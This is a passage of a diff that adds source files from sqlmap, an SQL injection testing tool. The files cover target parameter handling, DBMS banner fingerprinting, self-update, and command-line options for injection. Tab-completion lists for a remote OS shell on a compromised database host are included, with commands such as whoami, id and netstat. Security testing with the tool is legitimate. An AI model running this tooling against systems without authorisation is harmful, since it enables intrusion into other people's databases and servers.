+                       "SQL transaction":       (
+                             "start transaction ",
+                             "begin work ",
+                             "begin transaction ",
+                             "commit ",
+                             "rollback ",      ),
+                     }

lib/core/shell.py

@@ -0,0 +1,108 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import atexit
+import os
+import rlcompleter
+
+from lib.core import readlineng as readline
+from lib.core.data import kb
+from lib.core.data import paths
+from lib.core.data import queries
+
+def saveHistory():
+    historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
+    readline.write_history_file(historyPath)
+
+def loadHistory():
+    historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
+
+    if os.path.exists(historyPath):
+        readline.read_history_file(historyPath)
+
+def queriesForAutoCompletion():
+    autoComplQueries = {}
+
+    for _, query in queries[kb.dbms].items():
+        if isinstance(query, str) and len(query) > 1:
+            autoComplQuery = query
+        elif isinstance(query, dict) and "inband" in query:
+            autoComplQuery = query["inband"]["query"]
+        else:
+            continue
+
+        autoComplQueries[autoComplQuery] = None
+
+    return autoComplQueries
+
+class CompleterNG(rlcompleter.Completer):
+    def global_matches(self, text):
+        """
+        Compute matches when text is a simple name.
+        Return a list of all names currently defined in self.namespace
+        that match.
+        """
+
+        matches = []
+        n = len(text)
+
+        for ns in [ self.namespace ]:
+            for word in ns:
+                if word[:n] == text:
+                    matches.append(word)
+
+        return matches
+
+def autoCompletion(sqlShell=False, osShell=False):
+    # First of all we check if the readline is available, by default
+    # it is not in Python default installation on Windows
+    if not readline.haveReadline:
+        return
+
+    if sqlShell:
+        completer = CompleterNG(queriesForAutoCompletion())
+    elif osShell:
+        if kb.os == "Windows":
+            # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
+            completer = CompleterNG({
+                                      "copy": None, "del": None, "dir": None,
+                                      "echo": None, "md": None, "mem": None,
+                                      "move": None, "net": None, "netstat -na": None,
+                                      "ver": None, "xcopy": None, "whoami": None,
+                                    })
+
+        else:
+            # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
+            completer = CompleterNG({
+                                      "cp": None, "rm": None, "ls": None, 
+                                      "echo": None, "mkdir": None, "free": None,
+                                      "mv": None, "ifconfig": None, "netstat -natu": None,
+                                      "pwd": None, "uname": None, "id": None,
+                                    })
+
+    readline.set_completer(completer.complete)
+    readline.parse_and_bind("tab: complete")
+
+    loadHistory()
+    atexit.register(saveHistory)

lib/core/subprocessng.py

@@ -0,0 +1,88 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import errno
+import os
+import sys
+import time
+
+from lib.core.settings import IS_WIN
+
+if not IS_WIN:
+    import fcntl
+
+    if (sys.hexversion >> 16) >= 0x202:
+        FCNTL = fcntl
+    else:
+        import FCNTL
+
+def blockingReadFromFD(fd):
+    # Quick twist around original Twisted function
+    # Blocking read from a non-blocking file descriptor
+    output = ""
+
+    while True:
+        try:
+            output += os.read(fd, 8192)
+        except (OSError, IOError), ioe:
+            if ioe.args[0] in (errno.EAGAIN, errno.EINTR):
+                # Uncomment the following line if the process seems to
+                # take a huge amount of cpu time
+                # time.sleep(0.01)
+                continue 
+            else:
+                raise
+        break
+
+    if not output:
+        raise EOFError, "fd %s has been closed." % fd 
+
+    return output
+
+def blockingWriteToFD(fd, data):
+    # Another quick twist
+    while True:
+        try:
+            data_length = len(data)
+            wrote_data  = os.write(fd, data)
+        except (OSError, IOError), io:
+            if io.errno in (errno.EAGAIN, errno.EINTR):
+                continue    
+            else:
+                raise 
+
+        if wrote_data < data_length:
+            blockingWriteToFD(fd, data[wrote_data:])
+
+        break
+
+def setNonBlocking(fd):
+    """
+    Make a file descriptor non-blocking
+    """
+
+    if IS_WIN is not True:
+        flags = fcntl.fcntl(fd, FCNTL.F_GETFL)
+        flags = flags | os.O_NONBLOCK
+        fcntl.fcntl(fd, FCNTL.F_SETFL, flags)

lib/core/target.py

@@ -0,0 +1,235 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import os
+import time
+
+from lib.core.common import dataToSessionFile
+from lib.core.common import paramToDict
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.data import paths
+from lib.core.dump import dumper
+from lib.core.exception import sqlmapFilePathException
+from lib.core.exception import sqlmapGenericException
+from lib.core.exception import sqlmapSyntaxException
+from lib.core.session import resumeConfKb
+
+def __setRequestParams():
+    """
+    Check and set the parameters and perform checks on 'data' option for
+    HTTP method POST.
+    """
+
+    __testableParameters = False
+
+    # Perform checks on GET parameters
+    if conf.parameters.has_key("GET") and conf.parameters["GET"]:
+        parameters = conf.parameters["GET"]
+        __paramDict = paramToDict("GET", parameters)
+
+        if __paramDict:
+            conf.paramDict["GET"] = __paramDict
+            __testableParameters = True
+
+    # Perform checks on POST parameters
+    if conf.method == "POST" and not conf.data:
+        errMsg = "HTTP POST method depends on HTTP data value to be posted"
+        raise sqlmapSyntaxException, errMsg
+
+    if conf.data:
+        conf.parameters["POST"] = conf.data
+        __paramDict = paramToDict("POST", conf.data)
+
+        if __paramDict:
+            conf.paramDict["POST"] = __paramDict
+            __testableParameters = True
+
+        conf.method = "POST"
+
+    # Perform checks on Cookie parameters
+    if conf.cookie:
+        conf.parameters["Cookie"] = conf.cookie
+        __paramDict = paramToDict("Cookie", conf.cookie)
+
+        if __paramDict:
+            conf.paramDict["Cookie"] = __paramDict
+            __testableParameters = True
+
+    # Perform checks on User-Agent header value
+    if conf.httpHeaders:
+        for httpHeader, headerValue in conf.httpHeaders:
+            if httpHeader == "User-Agent":
+                # No need for url encoding/decoding the user agent
+                conf.parameters["User-Agent"] = headerValue
+
+                condition  = not conf.testParameter
+                condition |= "User-Agent" in conf.testParameter
+                condition |= "user-agent" in conf.testParameter
+                condition |= "useragent" in conf.testParameter
+                condition |= "ua" in conf.testParameter
+
+                if condition:
+                    conf.paramDict["User-Agent"] = { "User-Agent": headerValue }
+                    __testableParameters = True
+
+    if not conf.parameters:
+        errMsg  = "you did not provide any GET, POST and Cookie "
+        errMsg += "parameter, neither an User-Agent header"
+        raise sqlmapGenericException, errMsg
+
+    elif not __testableParameters:
+        errMsg  = "all testable parameters you provided are not present "
+        errMsg += "within the GET, POST and Cookie parameters"
+        raise sqlmapGenericException, errMsg
+
+def __setOutputResume():
+    """
+    Check and set the output text file and the resume functionality.
+    """
+
+    if not conf.sessionFile:
+        conf.sessionFile = "%s%ssession" % (conf.outputPath, os.sep)
+
+    logger.info("using '%s' as session file" % conf.sessionFile)
+
+    if os.path.exists(conf.sessionFile):
+        if not conf.flushSession:
+            readSessionFP = open(conf.sessionFile, "r")
+            lines = readSessionFP.readlines()
+    
+            for line in lines:
+                if line.count("][") == 4:
+                    line = line.split("][")
+    
+                    if len(line) != 5:
+                        continue
+    
+                    url, _, _, expression, value = line
+    
+                    if not value:
+                        continue
+    
+                    if url[0] == "[":
+                        url = url[1:]
+    
+                    if value[-1] == "\n":
+                        value = value[:-1]
+    
+                    if url != conf.url:
+                        continue
+    
+                    if url not in kb.resumedQueries.keys():
+                        kb.resumedQueries[url] = {}
+                        kb.resumedQueries[url][expression] = value
+    
+                    resumeConfKb(expression, url, value)
+    
+                    if expression not in kb.resumedQueries[url].keys():
+                        kb.resumedQueries[url][expression] = value
+                    elif len(value) >= len(kb.resumedQueries[url][expression]):
+                        kb.resumedQueries[url][expression] = value
+    
+            readSessionFP.close()
+        else:
+            try:
+                os.remove(conf.sessionFile)
+                logger.info("flushing session file")
+            except OSError, msg:
+                errMsg = "unable to flush the session file (%s)" % msg
+                raise sqlmapFilePathException, errMsg
+
+    try:
+        conf.sessionFP = open(conf.sessionFile, "a")
+        dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
+    except IOError:
+        errMsg = "unable to write on the session file specified"
+        raise sqlmapFilePathException, errMsg
+
+def __createFilesDir():
+    """
+    Create the file directory.
+    """
+
+    if not conf.rFile:
+        return
+
+    conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
+
+    if not os.path.isdir(conf.filePath):
+        os.makedirs(conf.filePath, 0755)
+
+def __createDumpDir():
+    """
+    Create the dump directory.
+    """
+
+    if not conf.dumpTable and not conf.dumpAll:
+        return
+
+    conf.dumpPath = paths.SQLMAP_DUMP_PATH % conf.hostname
+
+    if not os.path.isdir(conf.dumpPath):
+        os.makedirs(conf.dumpPath, 0755)
+
+def createTargetDirs():
+    """
+    Create the output directory.
+    """
+
+    conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
+
+    if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
+        os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
+
+    if not os.path.isdir(conf.outputPath):
+        os.makedirs(conf.outputPath, 0755)
+
+    dumper.setOutputFile()
+
+    __createDumpDir()
+    __createFilesDir()
+
+def initTargetEnv():
+    """
+    Initialize target environment.
+    """
+
+    if conf.multipleTargets:
+        conf.paramDict    = {}
+        conf.parameters   = {}
+        kb.dbms           = None
+        kb.dbmsDetected   = False
+        kb.dbmsVersion    = None
+        kb.injParameter   = None
+        kb.injPlace       = None
+        kb.injType        = None
+        kb.parenthesis    = None
+        kb.unionComment   = ""
+        kb.unionCount     = None
+        kb.unionPosition  = None
+
+    __setRequestParams()
+    __setOutputResume()

lib/core/unescaper.py

@@ -0,0 +1,35 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+class Unescaper:
+    def __init__(self):
+        self.__unescaper = None
+
+    def setUnescape(self, unescapeFunction):
+        self.__unescaper = unescapeFunction
+
+    def unescape(self, expression, quote=True):
+        return self.__unescaper(expression, quote=quote)
+
+unescaper = Unescaper()

lib/core/update.py

@@ -0,0 +1,262 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import difflib
+import os
+import re
+import shutil
+import sys
+import tempfile
+import time
+import urlparse
+import zipfile
+
+from distutils.dir_util import mkpath
+from xml.dom.minidom import Document
+
+from subprocess import PIPE
+from subprocess import Popen as execute
+
+from lib.core.common import dataToStdout
+from lib.core.common import pollProcess
+from lib.core.common import readInput
+from lib.core.data import conf
+from lib.core.data import logger
+from lib.core.data import paths
+from lib.core.exception import sqlmapConnectionException
+from lib.core.exception import sqlmapFilePathException
+from lib.core.settings import MSSQL_VERSIONS_URL
+from lib.core.settings import VERSION
+from lib.request.connect import Connect as Request
+
+def __updateMSSQLXML():
+    infoMsg = "updating Microsoft SQL Server XML versions file"
+    logger.info(infoMsg)
+
+    try:
+        mssqlVersionsHtmlString, _ = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True)
+    except sqlmapConnectionException, _:
+        __mssqlPath     = urlparse.urlsplit(MSSQL_VERSIONS_URL)
+        __mssqlHostname = __mssqlPath[1]
+
+        warnMsg  = "sqlmap was unable to connect to %s," % __mssqlHostname
+        warnMsg += " check your Internet connection and retry"
+        logger.warn(warnMsg)
+
+        return
+
+    releases      = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server ([\d\.]+) Builds", mssqlVersionsHtmlString, re.I | re.M)
+    releasesCount = len(releases)
+
+    # Create the minidom document
+    doc = Document()
+
+    # Create the <root> base element
+    root = doc.createElement("root")
+    doc.appendChild(root)
+
+    for index in range(0, releasesCount):
+        release = releases[index]
+
+        # Skip Microsoft SQL Server 6.5 because the HTML
+        # table is in another format
+        if release == "6.5":
+            continue
+
+        # Create the <signatures> base element
+        signatures = doc.createElement("signatures")
+        signatures.setAttribute("release", release)
+        root.appendChild(signatures)
+
+        startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
+
+        if index == releasesCount - 1:
+            stopIdx  = len(mssqlVersionsHtmlString)
+        else:
+            stopIdx  = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
+
+        mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
+        servicepackVersion = re.findall("</td><td>[7\.0|2000|2005|2008]*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I | re.M)
+
+        for servicePack, version in servicepackVersion:
+            if servicePack.startswith(" "):
+                servicePack = servicePack[1:]
+            if "/" in servicePack:
+                servicePack = servicePack[:servicePack.index("/")]
+            if "(" in servicePack:
+                servicePack = servicePack[:servicePack.index("(")]
+            if "-" in servicePack:
+                servicePack = servicePack[:servicePack.index("-")]
+            if "*" in servicePack:
+                servicePack = servicePack[:servicePack.index("*")]
+            if servicePack.startswith("+"):
+                servicePack = "0%s" % servicePack
+
+            servicePack = servicePack.replace("\t", " ")
+            servicePack = servicePack.replace("  ", " ")
+            servicePack = servicePack.replace("No SP", "0")
+            servicePack = servicePack.replace("RTM", "0")
+            servicePack = servicePack.replace("SP", "")
+            servicePack = servicePack.replace("Service Pack", "")
+            servicePack = servicePack.replace("<a href=\"http:", "")
+
+            if servicePack.endswith(" "):
+                servicePack = servicePack[:-1]
+
+            if servicePack and version:
+                # Create the main <card> element
+                signature = doc.createElement("signature")
+                signatures.appendChild(signature)
+
+                # Create a <version> element
+                versionElement = doc.createElement("version")
+                signature.appendChild(versionElement)
+
+                # Give the <version> elemenet some text
+                versionText = doc.createTextNode(version)
+                versionElement.appendChild(versionText)
+
+                # Create a <servicepack> element
+                servicepackElement = doc.createElement("servicepack")
+                signature.appendChild(servicepackElement)
+
+                # Give the <servicepack> elemenet some text
+                servicepackText = doc.createTextNode(servicePack)
+                servicepackElement.appendChild(servicepackText)
+
+    # Get the XML old file content to a local variable
+    mssqlXml = open(paths.MSSQL_XML, "r")
+    oldMssqlXml = mssqlXml.read()
+    oldMssqlXmlSignatures = oldMssqlXml.count("<signature>")
+    oldMssqlXmlList = oldMssqlXml.splitlines(1)
+    mssqlXml.close()
+
+    # Backup the XML old file
+    shutil.copy(paths.MSSQL_XML, "%s.bak" % paths.MSSQL_XML)
+
+    # Save our newly created XML to the signatures file
+    mssqlXml = open(paths.MSSQL_XML, "w")
+    doc.writexml(writer=mssqlXml, addindent="    ", newl="\n")
+    mssqlXml.close()
+
+    # Get the XML new file content to a local variable
+    mssqlXml = open(paths.MSSQL_XML, "r")
+    newMssqlXml = mssqlXml.read()
+    newMssqlXmlSignatures = newMssqlXml.count("<signature>")
+    newMssqlXmlList = newMssqlXml.splitlines(1)
+    mssqlXml.close()
+
+    # If the new XML versions file differs from the old one it probably
+    # means that we have got new Microsoft SQL Server versions
+    if oldMssqlXmlSignatures != newMssqlXmlSignatures:
+        infoMsg  = "Microsoft SQL Server XML versions file updated successfully. "
+
+        if oldMssqlXmlSignatures < newMssqlXmlSignatures:
+            infoMsg += "%d " % (newMssqlXmlSignatures - oldMssqlXmlSignatures)
+            infoMsg += "new signatures added since the last update"
+
+        # NOTE: This should never happen, in this rare case it might
+        # be that the Microsoft SQL Server versions database
+        # (MSSQL_VERSIONS_URL) changed its structure
+        else:
+            infoMsg += "%d " % (oldMssqlXmlSignatures - newMssqlXmlSignatures)
+            infoMsg += "signatures removed since the last update"
+
+        logger.info(infoMsg)
+
+        message = "Do you want to see the differences? [Y/n] "
+        test = readInput(message, default="Y")
+
+        if not test or test[0] in ("y", "Y"):
+            infoMsg = "Differences:"
+            logger.info(infoMsg)
+
+            # Compare the old XML file with the new one
+            diff = difflib.unified_diff(oldMssqlXmlList, newMssqlXmlList, "%s.bak" % paths.MSSQL_XML, paths.MSSQL_XML)
+            sys.stdout.writelines(diff)
+    else:
+        infoMsg  = "no new Microsoft SQL Server versions since the "
+        infoMsg += "last update"
+        logger.info(infoMsg)
+
+def __updateSqlmap():
+    rootDir = paths.SQLMAP_ROOT_PATH
+
+    infoMsg = "updating sqlmap to latest development version from the "
+    infoMsg += "subversion repository"
+    logger.info(infoMsg)
+
+    try:
+        import pysvn
+
+        debugMsg = "sqlmap will update itself using installed python-svn "
+        debugMsg += "third-party library, http://pysvn.tigris.org/"
+        logger.debug(debugMsg)
+
+        def notify(event_dict):
+            action = str(event_dict['action'])
+            index = action.find('_')
+            prefix = action[index + 1].upper() if index != -1 else action.capitalize()
+
+            if action.find('_update') != -1:
+                return
+
+            if action.find('_completed') == -1:
+                print "%s\t%s" % (prefix, event_dict['path'])
+            else:
+                revision = str(event_dict['revision'])
+                index = revision.find('number ')
+
+                if index != -1:
+                    revision = revision[index+7:].strip('>')
+
+                logger.info('updated to the latest revision %s' % revision)
+
+        client = pysvn.Client()
+        client.callback_notify = notify
+        client.update(rootDir)
+    except ImportError, _:
+        debugMsg = "sqlmap will try to update itself using 'svn' command"
+        logger.debug(debugMsg)
+
+        process = execute("svn update %s" % rootDir, shell=True, stdout=PIPE, stderr=PIPE)
+
+        dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X"))
+        pollProcess(process)
+        svnStdout, svnStderr = process.communicate()
+
+        if svnStderr:
+            errMsg = svnStderr.strip()
+            logger.error(errMsg)
+        elif svnStdout:
+            revision = re.search("revision\s+([\d]+)", svnStdout, re.I)
+            if revision:
+                logger.info('updated to the latest revision %s' % revision.group(1))
+
+def update():
+    if not conf.updateAll:
+        return
+
+    __updateSqlmap()
+    __updateMSSQLXML()

lib/parse/__init__.py

@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+pass

lib/parse/banner.py

@@ -0,0 +1,126 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import re
+
+from xml.sax import parse
+from xml.sax.handler import ContentHandler
+
+from lib.core.common import checkFile
+from lib.core.common import sanitizeStr
+from lib.core.data import kb
+from lib.core.data import paths
+from lib.parse.handler import FingerprintHandler
+
+class MSSQLBannerHandler(ContentHandler):
+    """
+    This class defines methods to parse and extract information from the
+    given Microsoft SQL Server banner based upon the data in XML file
+    """
+
+    def __init__(self, banner, info):
+        self.__banner        = sanitizeStr(banner)
+        self.__inVersion     = False
+        self.__inServicePack = False
+        self.__release       = None
+        self.__version       = ""
+        self.__versionAlt    = None
+        self.__servicePack   = ""
+        self.__info          = info
+
+    def __feedInfo(self, key, value):
+        value = sanitizeStr(value)
+
+        if value in ( None, "None" ):
+            return
+
+        self.__info[key] = value
+
+    def startElement(self, name, attrs):
+        if name == "signatures":
+            self.__release = sanitizeStr(attrs.get("release"))
+
+        elif name == "version":
+            self.__inVersion = True
+
+        elif name == "servicepack":
+            self.__inServicePack = True
+
+    def characters(self, data):
+        if self.__inVersion:
+            self.__version += sanitizeStr(data)
+        elif self.__inServicePack:
+            self.__servicePack += sanitizeStr(data)
+
+    def endElement(self, name):
+        if name == "signature":
+            for version in (self.__version, self.__versionAlt):
+                if version and re.search(" %s[\.\ ]+" % version, self.__banner):
+                    self.__feedInfo("dbmsRelease", self.__release)
+                    self.__feedInfo("dbmsVersion", self.__version)
+                    self.__feedInfo("dbmsServicePack", self.__servicePack)
+                    break
+
+            self.__version     = ""
+            self.__versionAlt  = None
+            self.__servicePack = ""
+
+        elif name == "version":
+            self.__inVersion = False
+            self.__version = self.__version.replace(" ", "")
+            
+            match = re.search(r"\A(?P<major>\d+)\.00\.(?P<build>\d+)\Z", self.__version)
+            self.__versionAlt = "%s.0.%s.0" % (match.group('major'), match.group('build')) if match else None
+
+        elif name == "servicepack":
+            self.__inServicePack = False
+            self.__servicePack = self.__servicePack.replace(" ", "")
+
+def bannerParser(banner):
+    """
+    This function calls a class to extract information from the given
+    DBMS banner based upon the data in XML file
+    """
+
+    if kb.dbms == "Microsoft SQL Server":
+        xmlfile = paths.MSSQL_XML
+    elif kb.dbms == "MySQL":
+        xmlfile = paths.MYSQL_XML
+    elif kb.dbms == "Oracle":
+        xmlfile = paths.ORACLE_XML
+    elif kb.dbms == "PostgreSQL":
+        xmlfile = paths.PGSQL_XML
+
+    checkFile(xmlfile)
+
+    if kb.dbms == "Microsoft SQL Server":
+        handler = MSSQLBannerHandler(banner, kb.bannerFp)
+        parse(xmlfile, handler)
+
+        handler = FingerprintHandler(banner, kb.bannerFp)
+        parse(paths.GENERIC_XML, handler)
+    else:
+        handler = FingerprintHandler(banner, kb.bannerFp)
+        parse(xmlfile, handler)
+        parse(paths.GENERIC_XML, handler)

lib/parse/cmdline.py

@@ -0,0 +1,446 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import sys
+
+from optparse import OptionError
+from optparse import OptionGroup
+from optparse import OptionParser
+
+from lib.core.data import logger
+from lib.core.settings import VERSION_STRING
+
+def cmdLineParser():
+    """
+    This function parses the command line parameters and arguments
+    """
+
+    usage = "%s [options]" % sys.argv[0]
+    parser = OptionParser(usage=usage, version=VERSION_STRING)
+
+    try:
+        parser.add_option("-v", dest="verbose", type="int", default=1,
+                          help="Verbosity level: 0-5 (default 1)")
+
+        # Target options
+        target = OptionGroup(parser, "Target", "At least one of these "
+                             "options has to be specified to set the source "
+                             "to get target urls from.")
+
+        target.add_option("-u", "--url", dest="url", help="Target url")
+
+        target.add_option("-l", dest="list", help="Parse targets from Burp "
+                          "or WebScarab proxy logs")
+
+        target.add_option("-r", dest="requestFile",
+                          help="Load HTTP request from a file")
+
+        target.add_option("-g", dest="googleDork",
+                          help="Process Google dork results as target urls")
+
+        target.add_option("-c", dest="configFile",
+                          help="Load options from a configuration INI file")
+
+        # Request options
+        request = OptionGroup(parser, "Request", "These options can be used "
+                              "to specify how to connect to the target url.")
+
+        request.add_option("--method", dest="method", default="GET",
+                           help="HTTP method, GET or POST (default GET)")
+
+        request.add_option("--data", dest="data",
+                           help="Data string to be sent through POST")
+
+        request.add_option("--cookie", dest="cookie",
+                           help="HTTP Cookie header")
+
+        request.add_option("--cookie-urlencode", dest="cookieUrlencode",
+                             action="store_true",
+                             help="URL Encode generated cookie injections")
+
+        request.add_option("--drop-set-cookie", dest="dropSetCookie",
+                           action="store_true",
+                           help="Ignore Set-Cookie header from response")
+
+        request.add_option("--user-agent", dest="agent",
+                           help="HTTP User-Agent header")
+
+        request.add_option("-a", dest="userAgentsFile",
+                           help="Load a random HTTP User-Agent "
+                                "header from file")
+
+        request.add_option("--referer", dest="referer",
+                           help="HTTP Referer header")
+
+        request.add_option("--headers", dest="headers",
+                           help="Extra HTTP headers newline separated")
+
+        request.add_option("--auth-type", dest="aType",
+                           help="HTTP authentication type "
+                                "(Basic, Digest or NTLM)")
+
+        request.add_option("--auth-cred", dest="aCred",
+                           help="HTTP authentication credentials "
+                                "(name:password)")
+                                
+        request.add_option("--auth-cert", dest="aCert",
+                           help="HTTP authentication certificate ("
+                                "key_file,cert_file)")
+
+        request.add_option("--proxy", dest="proxy",
+                           help="Use a HTTP proxy to connect to the target url")
+
+        request.add_option("--ignore-proxy", dest="ignoreProxy",
+                            action="store_true",
+                           help="Ignore system default HTTP proxy")
+
+        request.add_option("--threads", dest="threads", type="int", default=1,
+                           help="Maximum number of concurrent HTTP "
+                                "requests (default 1)")
+
+        request.add_option("--delay", dest="delay", type="float",
+                           help="Delay in seconds between each HTTP request")
+
+        request.add_option("--timeout", dest="timeout", type="float", default=30,
+                           help="Seconds to wait before timeout connection "
+                                "(default 30)")
+
+        request.add_option("--retries", dest="retries", type="int", default=3,
+                           help="Retries when the connection timeouts "
+                                "(default 3)")
+
+        request.add_option("--scope", dest="scope", 
+                           help="Regexp to filter targets from provided proxy log")
+
+        # Injection options
+        injection = OptionGroup(parser, "Injection", "These options can be "
+                                "used to specify which parameters to test "
+                                "for, provide custom injection payloads and "
+                                "how to parse and compare HTTP responses "
+                                "page content when using the blind SQL "
+                                "injection technique.")
+
+        injection.add_option("-p", dest="testParameter",
+                             help="Testable parameter(s)")
+
+        injection.add_option("--dbms", dest="dbms",
+                             help="Force back-end DBMS to this value")
+
+        injection.add_option("--os", dest="os",
+                             help="Force back-end DBMS operating system "
+                                  "to this value")
+
+        injection.add_option("--prefix", dest="prefix",
+                             help="Injection payload prefix string")
+
+        injection.add_option("--postfix", dest="postfix",
+                             help="Injection payload postfix string")
+
+        injection.add_option("--string", dest="string",
+                             help="String to match in page when the "
+                                  "query is valid")
+
+        injection.add_option("--regexp", dest="regexp",
+                             help="Regexp to match in page when the "
+                                  "query is valid")
+
+        injection.add_option("--excl-str", dest="eString",
+                             help="String to be excluded before comparing "
+                                  "page contents")
+
+        injection.add_option("--excl-reg", dest="eRegexp",
+                             help="Matches to be excluded before "
+                                  "comparing page contents")
+
+        # Techniques options
